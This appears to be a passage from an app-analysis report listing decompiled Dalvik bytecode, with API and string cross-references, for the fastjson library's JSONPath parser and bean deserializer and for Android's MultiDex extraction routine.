                                                678move-result-object v0
                                                679aput-object v0, p1, v4
                                                680cond_3ef: add-int/lit8 v4, v4, 0x1
                                                681goto/16 :goto_3da
                                                682cond_3f2: new-instance v0, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                683new-instance v2, Lcom/alibaba/fastjson/JSONPath$IntObjInSegement;
                                                685invoke-direct {v2, v8, p1, v1}, Lcom/alibaba/fastjson/JSONPath$IntObjInSegement;-><init>(Ljava/lang/String;[Ljava/lang/Long;Z)V
                                                687invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                688return-object v0
                                                689cond_3fd: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                691invoke-direct {p1}, Ljava/lang/UnsupportedOperationException;-><init>()V
                                                692throw p1
                                                693cond_403:
                                                694invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                696invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readValue()Ljava/lang/Object;
                                                697move-result-object v3
                                                699invoke-interface {v2, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                700goto/16 :goto_2e6
                                                701cond_40f:
                                                702sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                703if-ne v9, p1, :cond_415
                                                704const/4 v13, 0x1
                                                705goto/16 :goto_416
                                                706cond_415: const/4 v13, 0x0
                                                707goto_416:
                                                708invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readValue()Ljava/lang/Object;
                                                709move-result-object p1
                                                711invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readName()Ljava/lang/String;
                                                712move-result-object v0
                                                714const-string v1, "and"
                                                716invoke-virtual {v1, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                717move-result v0
                                                718if-eqz v0, :cond_46a
                                                720invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readValue()Ljava/lang/Object;
                                                721move-result-object v0
                                                722if-eqz p1, :cond_462
                                                723if-eqz v0, :cond_462
                                                725invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                726move-result-object v1
                                                728invoke-static {v1}, Lcom/alibaba/fastjson/JSONPath;->isInt(Ljava/lang/Class;)Z
                                                729move-result v1
                                                730if-eqz v1, :cond_45a
                                                732invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                733move-result-object v1
                                                735invoke-static {v1}, Lcom/alibaba/fastjson/JSONPath;->isInt(Ljava/lang/Class;)Z
                                                736move-result v1
                                                737if-eqz v1, :cond_45a
                                                738new-instance v1, Lcom/alibaba/fastjson/JSONPath$IntBetweenSegement;
                                                739check-cast p1, Ljava/lang/Number;
                                                741invoke-virtual {p1}, Ljava/lang/Number;->longValue()J
                                                742move-result-wide v9
                                                743check-cast v0, Ljava/lang/Number;
                                                745invoke-virtual {v0}, Ljava/lang/Number;->longValue()J
                                                746move-result-wide v11
                                                747move-object v7, v1
                                                749invoke-direct/range {v7 .. v13}, Lcom/alibaba/fastjson/JSONPath$IntBetweenSegement;-><init>(Ljava/lang/String;JJZ)V
                                                750new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                752invoke-direct {p1, v1}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                753return-object p1
                                                754cond_45a: new-instance p1, Lcom/alibaba/fastjson/JSONPathException;
                                                756iget-object v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->path:Ljava/lang/String;
                                                758invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPathException;-><init>(Ljava/lang/String;)V
                                                759throw p1
                                                760cond_462: new-instance p1, Lcom/alibaba/fastjson/JSONPathException;
                                                762iget-object v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->path:Ljava/lang/String;
                                                764invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPathException;-><init>(Ljava/lang/String;)V
                                                765throw p1
                                                766cond_46a: new-instance p1, Lcom/alibaba/fastjson/JSONPathException;
                                                768iget-object v0, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->path:Ljava/lang/String;
                                                770invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPathException;-><init>(Ljava/lang/String;)V
                                                771goto/16 :goto_473
                                                772goto_472: throw p1
                                                773goto_473: goto/16 :goto_472
                                                Cross References
                                                APIs
                                                • java.lang.Class.isInterface
                                                • java.lang.Thread.currentThread
                                                • java.lang.Thread.getContextClassLoader
                                                • java.lang.reflect.Proxy.newProxyInstance
                                                • java.lang.reflect.Constructor.newInstance
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • java.lang.Class.getName
                                                • java.lang.String.length
                                                • java.lang.String.lastIndexOf
                                                • java.lang.String.toCharArray
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.util.HashMap.<init>
                                                • java.util.Map.put
                                                • java.lang.String.length
                                                • java.lang.String.lastIndexOf
                                                • java.lang.StringBuilder.toString
                                                • java.util.Map.get
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.getDeclaredConstructor
                                                • java.lang.reflect.Constructor.isAccessible
                                                • java.lang.reflect.Constructor.setAccessible
                                                • java.lang.reflect.Constructor.newInstance
                                                • java.util.Map.put
                                                • java.lang.RuntimeException.<init>
                                                • java.lang.RuntimeException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.RuntimeException.<init>
                                                • java.lang.RuntimeException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.append
                                                • java.util.Map.get
                                                • java.lang.reflect.Constructor.newInstance
                                                • java.lang.reflect.Constructor.newInstance
                                                • com.alibaba.fastjson.parser.Feature.InitStringFieldAsEmpty:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • create instance error, class
                                                • $
                                                • can not instantiate
                                                • unable to find class
                                                Position Instruction Meta Information
                                                0move-object/from16 v1, p0
                                                1move-object/from16 v0, p1
                                                2move-object/from16 v2, p2
                                                4const-string v3, "create instance error, class "
                                                5instance-of v4, v2, Ljava/lang/Class;
                                                6const/4 v5, 0x0
                                                7const/4 v6, 0x1
                                                8if-eqz v4, :cond_2f
                                                10iget-object v4, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->clazz:Ljava/lang/Class;
                                                12invoke-virtual {v4}, Ljava/lang/Class;->isInterface()Z
                                                13move-result v4
                                                14if-eqz v4, :cond_2f
                                                15move-object v0, v2
                                                16check-cast v0, Ljava/lang/Class;
                                                18invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                19move-result-object v2
                                                21invoke-virtual {v2}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                22move-result-object v2
                                                23new-instance v3, Lcom/alibaba/fastjson/JSONObject;
                                                25invoke-direct {v3}, Lcom/alibaba/fastjson/JSONObject;-><init>()V
                                                26new-array v4, v6, [Ljava/lang/Class;
                                                27aput-object v0, v4, v5
                                                29invoke-static {v2, v4, v3}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                30move-result-object v0
                                                31return-object v0
                                                32cond_2f:
                                                33iget-object v4, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                35iget-object v4, v4, Lcom/alibaba/fastjson/util/JavaBeanInfo;->defaultConstructor:Ljava/lang/reflect/Constructor;
                                                36if-nez v4, :cond_37
                                                37const/4 v0, 0x0
                                                38return-object v0
                                                39cond_37:
                                                40iget-object v4, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                42iget-object v4, v4, Lcom/alibaba/fastjson/util/JavaBeanInfo;->defaultConstructor:Ljava/lang/reflect/Constructor;
                                                44iget-object v7, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                45iget v7, v7, Lcom/alibaba/fastjson/util/JavaBeanInfo;->defaultConstructorParameterSize:I
                                                46try_end_3f:
                                                47const-string v8, ""
                                                48if-nez v7, :cond_4b
                                                49try_start_43: new-array v2, v5, [Ljava/lang/Object;
                                                51invoke-virtual {v4, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                52move-result-object v2
                                                53goto/16 :goto_139
                                                54cond_4b:
                                                55invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getContext()Lcom/alibaba/fastjson/parser/ParseContext;
                                                56move-result-object v7
                                                58iget-object v9, v7, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                60invoke-virtual {v9}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                61move-result-object v9
                                                63invoke-virtual {v9}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                64move-result-object v9
                                                65instance-of v10, v2, Ljava/lang/Class;
                                                66if-eqz v10, :cond_64
                                                67check-cast v2, Ljava/lang/Class;
                                                69invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                70move-result-object v2
                                                71goto/16 :goto_65
                                                72cond_64: move-object v2, v8
                                                73goto_65:
                                                74invoke-virtual {v9}, Ljava/lang/String;->length()I
                                                75move-result v10
                                                76const/16 v11, 0x24
                                                78invoke-virtual {v2, v11}, Ljava/lang/String;->lastIndexOf(I)I
                                                79move-result v12
                                                80sub-int/2addr v12, v6
                                                81if-eq v10, v12, :cond_12f
                                                83invoke-virtual {v2}, Ljava/lang/String;->toCharArray()[C
                                                84move-result-object v10
                                                85new-instance v12, Ljava/lang/StringBuilder;
                                                87invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                89invoke-virtual {v12, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                91const-string v13, "$"
                                                93invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                94new-instance v13, Ljava/util/HashMap;
                                                96invoke-direct {v13}, Ljava/util/HashMap;-><init>()V
                                                98iget-object v7, v7, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                100invoke-interface {v13, v9, v7}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                102invoke-virtual {v9}, Ljava/lang/String;->length()I
                                                103move-result v7
                                                104add-int/2addr v7, v6
                                                105goto_92:
                                                106invoke-virtual {v2, v11}, Ljava/lang/String;->lastIndexOf(I)I
                                                107move-result v14
                                                108if-gt v7, v14, :cond_122
                                                109aget-char v14, v10, v7
                                                110if-ne v14, v11, :cond_115
                                                112invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                113move-result-object v15
                                                115invoke-interface {v13, v9}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                116move-result-object v16
                                                117try_end_a4:
                                                118invoke-static {v9}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                119move-result-object v17
                                                120if-eqz v16, :cond_cd
                                                122invoke-static {v15}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                123move-result-object v11
                                                124move-object/from16 v18, v2
                                                125new-array v2, v6, [Ljava/lang/Class;
                                                126aput-object v17, v2, v5
                                                128invoke-virtual {v11, v2}, Ljava/lang/Class;->getDeclaredConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                                129move-result-object v2
                                                131invoke-virtual {v2}, Ljava/lang/reflect/Constructor;->isAccessible()Z
                                                132move-result v11
                                                133if-nez v11, :cond_c1
                                                135invoke-virtual {v2, v6}, Ljava/lang/reflect/Constructor;->setAccessible(Z)V
                                                136cond_c1: new-array v11, v6, [Ljava/lang/Object;
                                                137aput-object v16, v11, v5
                                                139invoke-virtual {v2, v11}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                140move-result-object v2
                                                142invoke-interface {v13, v15, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                143try_end_cc: goto/16 :goto_d0
                                                144cond_cd: move-object/from16 v18, v2
                                                145move-object v15, v9
                                                146goto_d0: move-object v9, v15
                                                147goto/16 :goto_117
                                                148catch_d2: move-exception v0
                                                149try_start_d3: new-instance v2, Ljava/lang/RuntimeException;
                                                151invoke-direct {v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                                                152throw v2
                                                153catch_d9: move-exception v0
                                                154new-instance v2, Ljava/lang/RuntimeException;
                                                156invoke-direct {v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                                                157throw v2
                                                158catch_e0: new-instance v0, Ljava/lang/RuntimeException;
                                                159new-instance v2, Ljava/lang/StringBuilder;
                                                161invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                163const-string v4, "can not instantiate "
                                                165invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                167invoke-virtual {v2, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                169invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                170move-result-object v2
                                                172invoke-direct {v0, v2}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                173throw v0
                                                174catch_f7: move-exception v0
                                                175new-instance v2, Ljava/lang/RuntimeException;
                                                177invoke-direct {v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                                                178throw v2
                                                179catch_fe: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                180new-instance v2, Ljava/lang/StringBuilder;
                                                182invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                184const-string v4, "unable to find class "
                                                186invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                188invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                190invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                191move-result-object v2
                                                193invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                194throw v0
                                                195cond_115: move-object/from16 v18, v2
                                                196goto_117:
                                                197invoke-virtual {v12, v14}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                198add-int/lit8 v7, v7, 0x1
                                                199move-object/from16 v2, v18
                                                200const/16 v11, 0x24
                                                201goto/16 :goto_92
                                                202cond_122: new-array v2, v6, [Ljava/lang/Object;
                                                204invoke-interface {v13, v9}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                205move-result-object v6
                                                206aput-object v6, v2, v5
                                                208invoke-virtual {v4, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                209move-result-object v2
                                                210goto/16 :goto_139
                                                211cond_12f: new-array v2, v6, [Ljava/lang/Object;
                                                213iget-object v6, v7, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                214aput-object v6, v2, v5
                                                216invoke-virtual {v4, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                217move-result-object v2
                                                218goto_139: if-eqz v0, :cond_178
                                                220iget-object v0, v0, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->lexer:Lcom/alibaba/fastjson/parser/JSONLexer;
                                                222sget-object v4, Lcom/alibaba/fastjson/parser/Feature;->InitStringFieldAsEmpty:Lcom/alibaba/fastjson/parser/Feature;
                                                224invoke-interface {v0, v4}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                225move-result v0
                                                226if-eqz v0, :cond_178
                                                228iget-object v0, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                230iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->fields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                231array-length v4, v0
                                                232goto_14a: if-ge v5, v4, :cond_178
                                                233aget-object v6, v0, v5
                                                235iget-object v7, v6, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                236const-class v9, Ljava/lang/String;
                                                237if-ne v7, v9, :cond_175
                                                238try_start_154:
                                                239invoke-virtual {v6, v2, v8}, Lcom/alibaba/fastjson/util/FieldInfo;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                240try_end_157: goto/16 :goto_175
                                                241catch_158: move-exception v0
                                                242move-object v2, v0
                                                243new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                244new-instance v4, Ljava/lang/StringBuilder;
                                                246invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                248invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                250iget-object v3, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->clazz:Ljava/lang/Class;
                                                252invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                253move-result-object v3
                                                255invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                257invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                258move-result-object v3
                                                260invoke-direct {v0, v3, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                261throw v0
                                                262cond_175: add-int/lit8 v5, v5, 0x1
                                                263goto/16 :goto_14a
                                                264cond_178: return-object v2
                                                265catch_179: move-exception v0
                                                266new-instance v2, Lcom/alibaba/fastjson/JSONException;
                                                267new-instance v4, Ljava/lang/StringBuilder;
                                                269invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                271invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                273iget-object v3, v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->clazz:Ljava/lang/Class;
                                                275invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                276move-result-object v3
                                                278invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                280invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                281move-result-object v3
                                                283invoke-direct {v2, v3, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                284goto/16 :goto_196
                                                285goto_195: throw v2
                                                286goto_196: goto/16 :goto_195
                                                Cross References
                                                APIs
                                                • java.util.zip.ZipFile.getInputStream
                                                • java.io.File.getParentFile
                                                • java.io.File.createTempFile
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.FileOutputStream.<init>
                                                • java.io.BufferedOutputStream.<init>
                                                • java.util.zip.ZipOutputStream.<init>
                                                • java.util.zip.ZipEntry.<init>
                                                • java.util.zip.ZipEntry.getTime
                                                • java.util.zip.ZipEntry.setTime
                                                • java.util.zip.ZipOutputStream.putNextEntry
                                                • java.io.InputStream.read
                                                • java.util.zip.ZipOutputStream.closeEntry
                                                • java.util.zip.ZipOutputStream.close
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.File.renameTo
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getAbsolutePath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getAbsolutePath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.IOException.<init>
                                                • android.support.coreui.app.a.b.closeQuietly
                                                • java.io.File.delete
                                                • java.util.zip.ZipOutputStream.write
                                                • java.io.InputStream.read
                                                • java.util.zip.ZipOutputStream.close
                                                • android.support.coreui.app.a.b.closeQuietly
                                                • java.io.File.delete
                                                Strings
                                                • .zip
                                                • MultiDex
                                                • Extracting
                                                • classes.dex
                                                • Renaming to
                                                • Failed to rename \"
                                                • \" to \"
                                                • \"
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/util/zip/ZipFile;",
                                                4"Ljava/util/zip/ZipEntry;",
                                                5"Ljava/io/File;",
                                                6"Ljava/lang/String;",
                                                7")V^",
                                                8"Ljava/io/IOException;",
                                                9"^",
                                                10"Ljava/io/FileNotFoundException;"
                                                11}
                                                12.end annotation
                                                13.annotation system Ldalvik/annotation/Throws;
                                                14value = {
                                                15Ljava/io/IOException;,
                                                16Ljava/io/FileNotFoundException;
                                                17}
                                                18.end annotation
                                                19.prologue
                                                20move-object/from16 v3, p0
                                                21move-object/from16 v4, p1
                                                22move-object/from16 v5, p2
                                                23move-object/from16 v6, p3
                                                24move-object/from16 v23, v3
                                                25move-object/from16 v24, v4
                                                27invoke-virtual/range {v23 .. v24}, Ljava/util/zip/ZipFile;->getInputStream(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;
                                                28move-result-object v23
                                                29move-object/from16 v8, v23
                                                30const/16 v23, 0x0
                                                31check-cast v23, Ljava/util/zip/ZipOutputStream;
                                                32move-object/from16 v9, v23
                                                33move-object/from16 v23, v6
                                                35const-string v24, ".zip"
                                                36move-object/from16 v25, v5
                                                38invoke-virtual/range {v25 .. v25}, Ljava/io/File;->getParentFile()Ljava/io/File;
                                                39move-result-object v25
                                                41invoke-static/range {v23 .. v25}, Ljava/io/File;->createTempFile(Ljava/lang/String;Ljava/lang/String;Ljava/io/File;)Ljava/io/File;
                                                42move-result-object v23
                                                43move-object/from16 v10, v23
                                                45const-string v23, "MultiDex"
                                                46new-instance v24, Ljava/lang/StringBuffer;
                                                47move-object/from16 v30, v24
                                                48move-object/from16 v24, v30
                                                49move-object/from16 v25, v30
                                                51invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuffer;-><init>()V
                                                53const-string v25, "Extracting "
                                                55invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                56move-result-object v24
                                                57move-object/from16 v25, v10
                                                59invoke-virtual/range {v25 .. v25}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                60move-result-object v25
                                                62invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                63move-result-object v24
                                                65invoke-virtual/range {v24 .. v24}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                66move-result-object v24
                                                68invoke-static/range {v23 .. v24}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                69move-result v23
                                                70try_start_4d: new-instance v23, Ljava/util/zip/ZipOutputStream;
                                                71move-object/from16 v30, v23
                                                72move-object/from16 v23, v30
                                                73move-object/from16 v24, v30
                                                74new-instance v25, Ljava/io/BufferedOutputStream;
                                                75move-object/from16 v30, v25
                                                76move-object/from16 v25, v30
                                                77move-object/from16 v26, v30
                                                78new-instance v27, Ljava/io/FileOutputStream;
                                                79move-object/from16 v30, v27
                                                80move-object/from16 v27, v30
                                                81move-object/from16 v28, v30
                                                82move-object/from16 v29, v10
                                                84invoke-direct/range {v28 .. v29}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                                                86invoke-direct/range {v26 .. v27}, Ljava/io/BufferedOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                88invoke-direct/range {v24 .. v25}, Ljava/util/zip/ZipOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                89try_end_70: move-object/from16 v9, v23
                                                90try_start_72: new-instance v23, Ljava/util/zip/ZipEntry;
                                                91move-object/from16 v30, v23
                                                92move-object/from16 v23, v30
                                                93move-object/from16 v24, v30
                                                95const-string v25, "classes.dex"
                                                97invoke-direct/range {v24 .. v25}, Ljava/util/zip/ZipEntry;-><init>(Ljava/lang/String;)V
                                                98move-object/from16 v19, v23
                                                99move-object/from16 v23, v19
                                                100move-object/from16 v24, v4
                                                102invoke-virtual/range {v24 .. v24}, Ljava/util/zip/ZipEntry;->getTime()J
                                                103move-result-wide v24
                                                105invoke-virtual/range {v23 .. v25}, Ljava/util/zip/ZipEntry;->setTime(J)V
                                                106move-object/from16 v23, v9
                                                107move-object/from16 v24, v19
                                                109invoke-virtual/range {v23 .. v24}, Ljava/util/zip/ZipOutputStream;->putNextEntry(Ljava/util/zip/ZipEntry;)V
                                                110const/16 v23, 0x4000
                                                111move/from16 v0, v23
                                                112new-array v0, v0, [B
                                                113move-object/from16 v23, v0
                                                114move-object/from16 v20, v23
                                                115move-object/from16 v23, v8
                                                116move-object/from16 v24, v20
                                                118invoke-virtual/range {v23 .. v24}, Ljava/io/InputStream;->read([B)I
                                                119move-result v23
                                                120move/from16 v21, v23
                                                121goto_a7: move/from16 v23, v21
                                                122const/16 v24, -0x1
                                                123move/from16 v0, v23
                                                124move/from16 v1, v24
                                                125if-ne v0, v1, :cond_175
                                                126move-object/from16 v23, v9
                                                128invoke-virtual/range {v23 .. v23}, Ljava/util/zip/ZipOutputStream;->closeEntry()V
                                                129try_end_b6: move-object/from16 v23, v9
                                                130try_start_b8:
                                                131invoke-virtual/range {v23 .. v23}, Ljava/util/zip/ZipOutputStream;->close()V
                                                133const-string v23, "MultiDex"
                                                134new-instance v24, Ljava/lang/StringBuffer;
                                                135move-object/from16 v30, v24
                                                136move-object/from16 v24, v30
                                                137move-object/from16 v25, v30
                                                139invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuffer;-><init>()V
                                                141const-string v25, "Renaming to "
                                                143invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                144move-result-object v24
                                                145move-object/from16 v25, v5
                                                147invoke-virtual/range {v25 .. v25}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                148move-result-object v25
                                                150invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                151move-result-object v24
                                                153invoke-virtual/range {v24 .. v24}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                154move-result-object v24
                                                156invoke-static/range {v23 .. v24}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                157move-result v23
                                                158move-object/from16 v23, v10
                                                159move-object/from16 v24, v5
                                                161invoke-virtual/range {v23 .. v24}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
                                                162move-result v23
                                                163if-nez v23, :cond_197
                                                164new-instance v23, Ljava/io/IOException;
                                                165move-object/from16 v30, v23
                                                166move-object/from16 v23, v30
                                                167move-object/from16 v24, v30
                                                168new-instance v25, Ljava/lang/StringBuffer;
                                                169move-object/from16 v30, v25
                                                170move-object/from16 v25, v30
                                                171move-object/from16 v26, v30
                                                173invoke-direct/range {v26 .. v26}, Ljava/lang/StringBuffer;-><init>()V
                                                174new-instance v26, Ljava/lang/StringBuffer;
                                                175move-object/from16 v30, v26
                                                176move-object/from16 v26, v30
                                                177move-object/from16 v27, v30
                                                179invoke-direct/range {v27 .. v27}, Ljava/lang/StringBuffer;-><init>()V
